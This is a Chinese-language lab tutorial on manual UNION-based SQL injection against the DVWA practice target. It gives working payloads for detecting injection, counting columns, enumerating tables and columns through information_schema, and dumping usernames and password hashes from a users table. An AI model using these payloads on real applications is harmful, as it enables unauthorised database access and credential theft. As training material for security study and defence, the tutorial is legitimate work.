使用的靶场
本次注入使用的靶场为dvwa
Union联合查询注⼊基本流程
1、判断是否存在注入
方法一: ‘ 单引号法
方法二:逻辑法
and 1=1(数字型)
and 1=2(数字型)
1' and '1'='1(字符型)
1' and '1'='2(字符型)
方法三:运算法
-1
-0
2、猜解表名
常见的敏感表名
admin
user
admin_userinfo
system
vipuser
a_admin
xxx_admin
······
3、猜解字段数
order by xx
xx为字段数的值,也就是列数值
order by 5:意思是按照第5列的属性排序,若总共只有4个属性,就会报错,就可以得出字段数的值
4、猜解字段名
常见的敏感字段名
username
password
admin_usernmae
admin_password ....
5、获取数据
union select 1,2,3... from xx
MySQL⼿注之联合查询注⼊步骤详解
本次实验选用dvwa中的SQL injection
对应的代码如下:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
1、判断是否存在注入
输入 1 and 1=1时
点了submit后不会显示
此时代码为SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1'
and在两个单引号的作用下,变成了字符,没有起到and连接作用
所以将 1 and 1=1修改为 1' and '1'='1
此时执行的语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '1'
输⼊ID为 1' or '1' = '1 时
会将所有用户信息都显示出来
因为or是或条件,前后两个任意条件为真就行
猜解数字段
1' order by 1
1' order by 2
通过order by(根据第x字段排序,若无x字段报错)的报错来猜解字段数
联合查询
获取当前数据库和用户名
1' union select database(),user()
获取当前数据库版本信息和操作系统
1' union select version(),@@version_compile_os
获取数据
当数据库版本>5.0时,mysql里有默认数据库,information_schema,该数据库里保存了所有数据库的信息,如表名,字段名,表所属的数据库,访问权限等,里面的tables表,保存了table_name表名和table_schema两个字段,记录了表名和所在的数据库,还有coulmns表,保存了字段名coulmn_name和所在的表table_name
通过这默认数据库和默认表可以进行联合查询,查询出数据库的表和表中的字段名
获取表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'
查看dvwa数据库里有哪些表
获取表中的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
获取users表中的字段名
获取数据
1' union select user,password from users
知道了表名,字段名,就可以使用联合查询,查询想要的payload了